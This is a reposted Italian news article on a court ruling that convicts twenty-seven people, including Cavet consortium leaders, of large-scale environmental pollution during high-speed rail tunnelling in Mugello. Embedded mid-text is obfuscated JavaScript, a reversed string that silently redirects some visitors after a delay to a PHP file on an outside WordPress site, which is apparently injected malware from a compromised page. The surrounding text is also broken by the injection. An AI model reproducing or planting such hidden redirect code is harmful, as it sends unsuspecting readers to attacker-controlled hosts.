Tav in Mugello, ecco la sentenza: «una quantità enorme» di reati ambientali

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di Franca Selvatici

dopo oltre 4 anni di processo. Ventisette persone, fra cui i vertici del Consorzio Cavet (75% Impregilo), che ha realizzato i lavori dell´alta velocità, sono state condannate per «una quantità enorme» di reati ambientali: inquinamento di vastissimi terreni agricoli, di pascoli, di boschi, di falde acquifere, per effetto di una «sistematica e ripetitiva violazione delle norme prudenziali e di legge, soprattutto in tema di discariche di rifiuti».$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2009/06/tav-galleria.jpg”>Sezione dell'Appennino Tosco-Emiliano

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Dispersi sui terreni anche fanghi sterili, da cui non possono nascere piante. Il giudice scrive che i dirigenti e i tecnici del Cavet hanno operato nella «assoluta ignoranza, o ritenuta irrilevanza, delle norme poste a tutela della salute pubblica, rivendicando con orgoglio di aver eseguito un´opera pubblica mai realizzata prima di adesso: come se l´esecuzione di un´opera pubblica di estremo rilievo e complessità tecnica dovesse prescindere dal rispetto della legge o, per meglio dire, non potesse essere eseguita nel rispetto dei diritti delle popolazioni».

Gli avvocati Nino D´Avirro ed Eriberto Rosso rilevano nella sentenza «gravi contraddizioni» e ricordano che gli enti pubblici di controllo hanno escluso l´inquinamento della maggior parte dei siti.

[Fonte Repubblica]

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